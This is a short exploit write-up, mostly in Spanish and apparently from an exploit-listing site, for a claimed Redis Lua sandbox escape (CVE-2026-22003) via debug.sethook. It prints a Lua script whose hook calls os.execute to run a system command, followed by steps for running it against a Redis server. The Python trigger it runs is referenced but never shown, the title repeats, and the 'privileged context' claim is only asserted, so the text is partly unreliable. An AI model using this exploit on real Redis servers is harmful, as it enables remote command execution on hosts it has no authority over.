CVE-2026-22003 – Escape del sandbox Lua de Redis mediante debug.sethook

Código del programa (disparador Lua + Python)

-- redis_sandbox.lua - Script that attempts sandbox escape
local function escape()
  debug.sethook(function() 
    -- This hook runs in a privileged context
    os.execute("id > /tmp/redis_escape") 
  end, "r")
  local a = 1
end
return escape()

CVE-2026-22003 – Escape del sandbox Lua de Redis mediante debug.sethook

Resumen

El sandbox de Lua de Redis no deshabilita correctamente la función debug.sethook. Un atacante que pueda ejecutar scripts de Lua puede instalar un hook que se ejecuta en un contexto privilegiado y escapar del sandbox para ejecutar comandos arbitrarios del sistema.

Detalles de la vulnerabilidad

• Tipo: Escape del sandbox
• Impacto: Ejecución remota de código en el host de Redis.
• Causa raíz: La biblioteca de depuración del entorno de Lua permanece accesible, lo que permite hooks que pueden llamar a os.execute o funciones similares.

Demostración del exploit

1. Inicie un servidor Redis (con la configuración predeterminada que permite EVAL).
2. Ejecute el exploit:
   root@kitploit:~

   pip install redis
   python trigger_redis_sandbox_escape.py
   

The file /tmp/redis_escape is created, proving command execution.